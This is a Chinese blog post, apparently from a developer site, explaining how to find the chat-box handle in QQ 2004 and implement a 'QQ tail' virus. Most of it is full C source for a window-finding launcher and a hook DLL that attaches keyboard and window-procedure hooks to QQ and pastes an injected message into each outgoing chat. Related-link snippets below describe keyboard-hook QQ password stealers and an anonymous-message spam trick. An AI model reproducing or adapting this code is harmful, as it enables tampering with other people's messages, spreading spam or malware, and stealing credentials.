QQ2004的Rich句柄查找方法以及尾巴病毒的实现

QQ聊天窗口richedit 摘自afxwin.h: // Type modifier for message handlers #ifndef afx_msg #define afx_msg // intentional placeholder #endif 立即下载

看到好多人都在问QQ方面的问题,主要是关于研究QQ尾巴的问题,网络上已经有很多这方面的例子,但是在用到作者提供的代码时候,不能够正确的找到RICHEDIT,因此无法挂接钩子,下面这个方法,应该是可以,同时附带上qqhook的源代码。

其实关键是2004版本的qq它做了手脚,在原来的窗体上又增加了一个窗体,因此,用原作者的方法就不能找到rich窗口的句柄了。

测试cpp

#include
//#include

#include "QQHook.h"
#pragma comment(lib, "QQHook.lib")
#include "resource.h"
#define ID_MYTIMER 419 // ¼ÆÊ±Æ÷ID
BOOL g_bStart;
HWND g_hQQ;
LRESULT CALLBACK ProcMain(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
? switch (Msg)
? {
? case WM_CLOSE:
?//?? AnimateWindow(hDlg, 800, AW_HIDE | AW_SLIDE | AW_VER_POSITIVE);
??? EndDialog(hDlg, 0);
??? break;
? case WM_COMMAND:
??? {
????? if (LOWORD(wParam) == IDC_BTN_CONTROL)
????? {
??????? g_bStart = !g_bStart;
??????? SetDlgItemText(hDlg, IDC_BTN_CONTROL, g_bStart ? "Í£Ö¹" : "¿ªÊ¼");
??????? if (g_bStart)
????????? SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
??????? else
??????? {
????????? KillTimer(hDlg, ID_MYTIMER);
????????? SetHook(NULL);
??????? }
????? }
????? if (LOWORD(wParam) == IDC_BTN_EXIT)
??????? SendMessage(hDlg, WM_CLOSE, 0, 0);
??? }
??? break;
? case WM_DESTROY:
??? PostQuitMessage(0);
??? break;
? case WM_INITDIALOG:
??? {
????? int x, y;
????? RECT rect;
????? g_bStart = FALSE;
????? GetWindowRect(hDlg, &rect);
????? x = GetSystemMetrics(SM_CXSCREEN) - rect.right + rect.left;
????? y = GetSystemMetrics(SM_CYMAXIMIZED) - rect.bottom + rect.top - 10;
????? SetWindowPos(hDlg, HWND_TOPMOST, x, y, 0, 0, SWP_NOSIZE | SWP_NOZORDER);
?? //?? AnimateWindow(hDlg, 800, AW_SLIDE | AW_VER_NEGATIVE);
??? }
??? break;
? case WM_TIMER:
??? {
????? if (!IsWindow(g_hQQ))
????? {???????
??????? HWND hwnd;
??HWND hSend;
??//?CWnd *myWnd;
??int nIdFirst;
??int flag;
??char lpbuf[256];
??//??DWORD a;
??????? g_hQQ = NULL;
??hwnd=NULL;
??hSend=NULL;
??????? SetHook(NULL);
??//? do
??//? {
??//??? g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);???
??
??//?? GetWindowText(g_hQQ,lpbuf,255);?
??
??//? if(strcmp(lpbuf,"Óë ·É ÁÄÌìÖÐ")==0)break;
??//?? hSend = FindWindowEx(g_hQQ,NULL, "Button", "·¢ËÍ(&S)");??
??
??//? } while(!(g_hQQ != NULL && hSend != NULL));
??nIdFirst=0;
??flag=0;
??while(1)
??{
???g_hQQ=FindWindowEx(NULL, g_hQQ, "#32770", NULL);
???if(g_hQQ==NULL)break;
???GetWindowText(g_hQQ,lpbuf,256);???
???hwnd=GetWindow(g_hQQ,GW_CHILD);

???if(hwnd||::IsWindow(hwnd))
???{
????nIdFirst=GetDlgCtrlID(hwnd);
????do
????{
?????GetClassName(hwnd,lpbuf,256);???
?????if(strcmp(lpbuf,"#32770")==0)
?????{
??????hSend=FindWindowEx(hwnd,hSend,"Button","·¢ËÍ(&S)");
??????if(hSend)
??????{
???????flag=1;
???????g_hQQ=hwnd;
???????break;
??????}
?????}
?????GetWindowText(hwnd,lpbuf,256);???
?????hwnd=::GetWindow(hwnd,GW_HWNDNEXT);??
?????if(!::IsWindow(hwnd) || hwnd==NULL)??break;
????}while(nIdFirst != GetDlgCtrlID(hwnd));?
???}?
???if(flag)break;
??}
??????? if (g_hQQ != NULL)
????????? SetHook(g_hQQ);
????? }
??? }
??? break;
? }
? return 0;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
? DialogBoxParam(hInstance, MAKEINTRESOURCE(IDD_DIALOG), NULL, (DLGPROC)ProcMain, 0);
? DWORD a=GetLastError();
? return 0;
}

?

qq hook 源代码

cpp文件

#include
#define QQTAILAPI __declspec(dllexport)
#include "QQHook.h"
// ¶¨Òå¹²ÏíÊý¾Ý¶Î
#pragma data_seg("shared")
HHOOK g_hProc = NULL; // ´°¿Ú¹ý³Ì¹³×Ó¾ä±ú
HHOOK g_hKey = NULL; // ¼üÅ̹³×Ó¾ä±ú
HWND g_hRich = NULL; // Îı¾¿ò¾ä±ú
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
// DLL¾ä±ú
HINSTANCE g_hInstDLL = NULL;
// Îҵġ°Î²°Í¡±
TCHAR g_str[] = "/n¶Ô²»Æð£¬ÄúÒѾ-±»½ûÖ¹ÁÄÌ죡";
// º¯Êý¹¦ÄÜ£ºÏòÎı¾¿òÖÐÕ³Ìùβ°Í
void PasteText(HWND hRich)
{
? HGLOBAL hMem;
? LPTSTR pStr;
? // ·ÖÅäÄÚ´æ¿Õ¼ä
? //SendMessage(hRich,WM_SETTEXT,0,LPARAM(""));
? hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));
? pStr = (LPTSTR)GlobalLock(hMem);
? lstrcpy(pStr, g_str);?
? GlobalUnlock(hMem);
? OpenClipboard(NULL);
? EmptyClipboard();
? // ÉèÖüôÌù°åÎı¾
? SetClipboardData(CF_TEXT, hMem);
? CloseClipboard();
? // ÊÍ·ÅÄÚ´æ¿Õ¼ä
? GlobalFree(hMem);
? // Õ³ÌùÎı¾
? SendMessage(hRich, WM_PASTE, 0, 0);
}
// ¹³×Ó¹ý³Ì£¬¼àÊÓ¡°·¢ËÍ¡±µÄÃüÁîÏûÏ¢
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
? CWPSTRUCT *p = (CWPSTRUCT *)lParam;
? // ²¶»ñ¡°·¢ËÍ¡±°´Å¥
? if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
??? PasteText(g_hRich);
? return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
// ¼üÅ̹³×Ó¹ý³Ì£¬¼àÊÓ¡°·¢ËÍ¡±µÄÈȼüÏûÏ¢
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
? // ²¶»ñÈȼüÏûÏ¢
? if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
??? PasteText(g_hRich);
? return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
// ¹Ò½Ó¹³×Ó
BOOL WINAPI SetHook(HWND hQQ)
{
? BOOL bRet = FALSE;
? if (hQQ != NULL)
? {
??? DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
??? // ¸ÐлºÃÓÑhotteyµÄ²éÕÒ´úÂ룬ʡȥÁËÎÒʹÓÃSpy++µÄÂé·³
??? g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
??? if (g_hRich == NULL)
????? return FALSE;
??? // ¹Ò½Ó¹³×Ó
??? g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
??? g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
??? bRet = (g_hProc != NULL) && (g_hKey != NULL);
? }
? else
? {
??? // Ð¶ÔØ¹³×Ó
??? bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
??? g_hProc = NULL;
??? g_hKey = NULL;
??? g_hRich = NULL;
? }
? return bRet;
}
// DLLÖ÷º¯Êý
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
? if (fdwReason == DLL_PROCESS_ATTACH)
??? g_hInstDLL = hinstDLL;
? return TRUE;
}

?

头文件

#ifndef QQTAILAPI
#define QQTAILAPI __declspec(dllimport)
#endif
QQTAILAPI BOOL WINAPI SetHook(HWND hQQ);

?

MATLAB代码及接受套件:《沿轨速度预算管控饱和无人机群中的编队误差》.zip 1.版本:matlab2014a/2019b/2024b 2.附赠案例数据可直接运行。 3.代码特点:参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象:计算机,电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。 立即下载

相关推荐

CrewAI 多 Agent 实战包 v1(Mock免Key跑通+通义千问可选+流水线样例)

本资源是 CrewAI 风格多 Agent 可运行工程包:研究→写作→审校等流水线样例。无 API Key 时自动降级 Mock 引擎跑通;有 DASHSCOPE_API_KEY 时可接真实 CrewAI + 通义千问。含中文 README、samples、smoke 留档、单元测试。本包不含密钥。关联博客:https://blog.youkuaiyun.com/mtl1994

模拟QQ木马

 最近请了几天假,离回家还有几天时间,翻一翻以前写的东西,今天就拿出来晒晒。呵呵~   这个程序还称不上什么木马,我只是说个思路,整个程序分为四个部分,具体如下:(1)查找QQ登陆界面。 (2)安装钩子 (3)钩子函数的解释. (4)处理密码。 以下部分全是使用C语言。  第一部分:(1)寻找QQ登陆界面。    软件运行后,利用安装定时器,每秒在系统找QQ登陆

yyjw的专栏 1403

市场销售总监年终汇报必备PPT.pptx

市场销售总监年终汇报必备PPT

qq实验报告c语言,C语言实现QQ密码大盗(没试验过,下回验证一下)

一般的盗密码的软件的软件都是通过监视键盘来获得密码,这样操作比较方便,但是这样也存在一定问题,密码有的时候不是很准确,因为有的人输入密码并不是从前到后输入,当然这样的人也是少数,盗密码嘛,当然去得到那些比较粗心的人的密码!通过安装钩子来监视QQ登陆界面就是获得密码的方法,在安装前得先找到登陆窗口的句柄,当钩子安装后,记录键盘,当用户“回车”或是点了“登陆”就可以开始处理密码了!我准备分为四部分来说...

weixin_28365523的博客 833

2263XT开卡工具N48R,威刚S20

2263XT开卡工具N48R,威刚S20可用

半桥LLC谐振变换器开环+闭环仿真设计资料(Simulink仿真实现)

内容概要:本文档系统性地介绍了半桥LLC谐振变换器的开环与闭环仿真设计方法,基于Simulink平台构建完整的仿真模型,涵盖系统建模、关键参数设计、控制策略实现及动态性能验证全过程。重点阐述了LLC谐振变换器的工作原理、谐振腔参数(Lr、Cr、Lm)的优化设计方法、零电压开关(ZVS)与零电流开关(ZCS)等软开关技术的实现机制,并深入探讨电压/电流双闭环控制策略,特别是恒压恒流双竞争控制逻辑的切换机制与稳定性保障。资料配套提供完整的仿真模型、详细说明文档及参考文献,有助于全面掌握其在启停过程、负载突变等工况下的动态响应特性与系统鲁棒性调控方法。; 适合人群:具备电力电子技术基础理论知识和Simulink仿真操作能力的高校研究生、科研机构研究人员,以及从事高频高效开关电源、新能源汽车车载充电机(OBC)、充电桩电源、数据中心供电等领域的工程技术人员。; 使用场景及目标:① 掌握LLC谐振变换器在实际工程中的精确建模与仿真分析流程;② 深入理解并独立实现从开环频率调制到闭环反馈控制的平滑切换逻辑;③ 应用于高效率DC-DC变换器、电动汽车充电系统、可再生能源并网电源等场景下的控制系统设计与性能优化; 阅读建议:建议结合所提供的仿真模型进行分步调试与参数扫描实验,重点关注控制器带宽设计、谐振元件参数匹配对效率的影响以及系统上电过程中的软启动策略设计,同时推荐对比学习全桥LLC、CLLC等衍生拓扑的相关资料,以建立完整的谐振变换器控制体系认知。

一个QQ隐蔽聊天的软件,用于你在办公室QQ聊天又不想让其他人知道

  这个程序是我以前还不是很忙的时候随便搞的一个。主要参考了Enumeration源代码,用于查找句柄。由于QQ里的RichEdit并不是一般的RichEdit,不可以直接发送消息给它,所以废了一些周折。不过后来找到了解决问题的折中方法:利用模拟键盘将要发送的消息进行复制粘贴,然后再发送出去。      form1上的控件包含一个commonDialog:cdlbg用于打开文件的通用对话框,一个t

打印/传真嵌入式开发--张志龙的专栏 7052

SOP 配电网故障重构方法研究【IEEE33节点】(Matlab代码实现)

内容概要:本文围绕基于SOP(Soft Open Point)的配电网故障重构方法展开研究,采用IEEE33节点标准配电系统作为仿真测试平台,利用Matlab进行代码实现与仿真验证。研究重点在于通过SOP这一柔性电力电子装置实现故障后网络拓扑的快速重构,提升供电恢复能力与系统可靠性。文中详细阐述了故障重构的数学建模过程,结合优化算法实现负荷转供与孤岛划分的协同决策,在保证辐射状运行约束的前提下,最大限度恢复失电负荷,并降低网络损耗。该方法充分体现了SOP在主动配电网中的灵活调控优势,为现代智能配电网的自愈控制提供了有效技术路径。; 适合人群:电气工程及相关专业的高校研究生、从事配电网自动化与智能电网研究的科研人员,以及具备一定Matlab编程基础和电力系统分析背景的研发技术人员。; 使用场景及目标:① 掌握基于SOP的配电网故障恢复机制与重构策略设计;② 学习如何在Matlab环境下构建IEEE33节点系统模型并实现故障重构算法;③ 深入理解含分布式电源与柔性装置的主动配电网优化运行方法; 阅读建议:建议结合电力系统分析基础知识,重点关注SOP的建模方式、故障重构的优化目标与约束条件设定,并动手实践Matlab代码以加深对算法流程和仿真结果的理解。

QQ存在重大漏洞,用户可以群发小广告,传播病毒

QQ允许发送匿名消息,虽然我们可以把它关掉,但默认是允许的,这就给人以可乘之机,这样我们可以利用它来给所有QQ用户群发小广告,传播病毒。实现代码 HRESULT CtestQQDlg::SendMsg(CString qqNum, CString msg){     CString str;    str.Format (_T ("Tencent://Message/?Menu=YES&amp;...

weixin_33831196的博客 409

一份外盘期货历史高频tick数据,涵盖能源、贵金属、股指等主要品种的逐笔成交与盘口快照 每条记录包含精确至毫秒的时间戳、合约代码、成交价格、成交量以及主动买卖方向标识 同时提供该时刻的最优申买价、申卖

一份外盘期货历史高频tick数据,涵盖能源、贵金属、股指等主要品种的逐笔成交与盘口快照。每条记录包含精确至毫秒的时间戳、合约代码、成交价格、成交量以及主动买卖方向标识。同时提供该时刻的最优申买价、申卖价及对应挂单量,用于还原盘口深度变化,数据时间覆盖连续的多个交易日。 数据源:CMES金融数据库

基于变频控制的多相交错LLC谐振变换器闭环仿真(Simulink仿真实现)

内容概要:本文档聚焦于电力电子与控制系统领域的仿真研究,核心内容为“基于变频控制的多相交错LLC谐振变换器闭环仿真”的Simulink实现。系统阐述了LLC谐振变换器的开环与闭环控制策略、软开关技术、恒压恒流双竞争控制机制、多相交错结构设计及变频调制原理,通过建模仿真深入剖析高频DC-DC变换器的工作特性与动态响应。文档整合了丰富的科研资源,涵盖双向CLLC、DAB变换器、PWM整流器、微电网优化调度、状态估计(EKF/UKF/PF)等多个前沿方向的仿真案例,形成一个体系完整、技术覆盖面广的综合性技术资料库,适用于高水平科研与工程实践。; 适合人群:电气工程、自动化、电力电子及相关专业的研究生、高校科研人员,以及从事新能源发电、电动汽车、智能电网、工业电源等领域的技术研发工程师。; 使用场景及目标:①开展高频谐振变换器拓扑结构与先进控制策略的深入研究;②完成复杂电力电子系统的建模、仿真与性能验证;③支撑SCI/EI论文撰写、科研项目申报与关键技术攻关;④辅助高校课程设计、研究生课题实践与毕业设计的仿真实验环节。; 阅读建议:建议结合文中提供的网盘资源与微信公众号资料进行系统学习,优先掌握LLC变换器的基本工作模态与谐振原理,再逐步深入闭环控制器设计与参数整定,仿真过程中应重点关注关键波形分析与系统稳定性判据,以全面提升对高频变换器动态特性的理解与工程应用能力。

仿QQ聊天内容显示 - CRichEditCtrl

Q版MSN-仿QQ聊天内容显示 - CRichEditCtrl  作者:张国斌   今天在写Q版MSN的聊天内容显示界面,以前虽写过不少代码,但大部分都是使用Delphi的RichEdit控件,从未用过VC中的CRichEditCtrl,在网络上搜索了半天也没找到一个现成的(找了一个好像是韩国人写的ExRichEdit,但他的代码有问题,大家可以下载下来测试一下就知道了。http:

zhanggb86的专栏 4827

产业园区运营负责人如何助力园区内企业与高校科研成果高效对接?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

QQ开发资料

这有isQ整理的部分qq协议http://lumaqq.linuxsir.org/doc/Protocol%20Document%20from%20isQ.rarwww.realoa.net Delphi 的方案,无源码,有在线调试www.anyq.net C++的方案,有源代码lumaQQhttp://lumaqq.linuxsir.org/main/lumaQQ集中链接贴欢迎访问lumaq

贵州路67号 12万+

【顶级EI复现】基于KKT条件与分段解析优化的双有源桥DC-DC变换器软开关协同最小应力闭环控制方法(Simulink仿真实现)

内容概要:本文详细介绍了一种基于KKT条件与分段解析优化的双有源桥DC-DC变换器软开关协同最小应力闭环控制方法,属于高端电力电子系统控制领域的“顶级EI复现”级别研究。该方法融合最优控制理论与工程实践,通过构建精确的数学模型,在Simulink环境中实现了闭环仿真,有效解决了软开关实现过程中器件电压/电流应力过大的问题,达成了高效率与低损耗的协同优化目标。研究成果可广泛应用于新能源汽车、智能电网、工业电源等对功率密度和可靠性要求极高的电力转换场景。; 适合人群:面向具备电力电子、自动控制或电气工程等相关专业背景,从事科研仿真工作的硕士、博士研究生及高校科研人员,尤其适合熟悉双有源桥(DAB)拓扑结构、掌握Simulink建模技能,并具有优化控制与非线性系统分析基础的研发人员。; 使用场景及目标:①复现高水平EI期刊论文中的先进控制算法,提升科研竞争力;②深入理解KKT条件在电力电子实时优化控制中的数学机制与物理意义;③掌握DAB变换器中软开关与器件应力最小化的协同设计方法;④为撰写学术论文、开展课题研究或工程原型开发提供可运行的仿真模型与完整的技术路线支撑。; 阅读建议:建议结合文中提到的“顶级EI复现”背景,系统学习KKT最优性条件的推导过程及其在约束优化问题中的应用逻辑,并在Simulink中动手调试仿真模型,重点关注分段解析控制策略的实现细节与参数整定方法。推荐访问所提供的资源链接,获取YALMIP工具包及相关代码资料,以提高复现效率与研究深度。

【顶级EI复现】新扩展移相角下的双有源桥DC-DC 变换器优化控制策略(Simulink仿真实现)

内容概要:本文围绕Plecs平台构建的全桥LLC谐振变换器闭环仿真模型展开,系统阐述了基于变频与移相混合控制策略的设计与实现方法。模型深入剖析了LLC谐振变换器的工作机理,涵盖谐振腔关键参数设计、软开关实现条件、变频调制与移相控制的协同作用机制,并实现了完整的闭环控制系统仿真,能够有效验证变换器在不同负载与输入电压条件下的动态响应、效率表现及稳态性能。研究还整合了配套的参数设计资料与计算工具,支持从理论分析、参数设计到仿真验证的一体化开发流程,为高性能LLC变换器的研发提供了全面的技术支撑。; 适合人群:具备电力电子与电源变换基础知识的工程师、高校研究生,以及从事开关电源、DC-DC变换器研发的技术人员,特别适合需要掌握LLC谐振变换器建模、仿真与优化控制策略的科研与工程人员。; 使用场景及目标:①应用于LLC谐振变换器的科研教学与课程设计,深化对谐振工作模式、软开关机理及混合控制策略的理解;②作为实际产品研发中的仿真验证平台,用于优化控制算法、评估系统效率与动态性能;③支持对变频+移相协同控制、闭环稳定性、软开关范围拓展及最小化应力等关键技术进行深入研究与方案迭代。; 阅读建议:建议结合经典电力电子教材与LLC变换器专业设计手册进行学习,重点研读谐振参数设计与控制环路建模章节。实际应用时,应依据具体的硬件规格(如开关器件、磁性元件参数)精确调整仿真模型,并通过多轮仿真结果对比,不断优化系统设计方案。

上一篇: 传神自动登陆研究
下一篇: 一个简单得异步串口类
stevecrisewu
博客等级 码龄25年 1粉丝 4原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值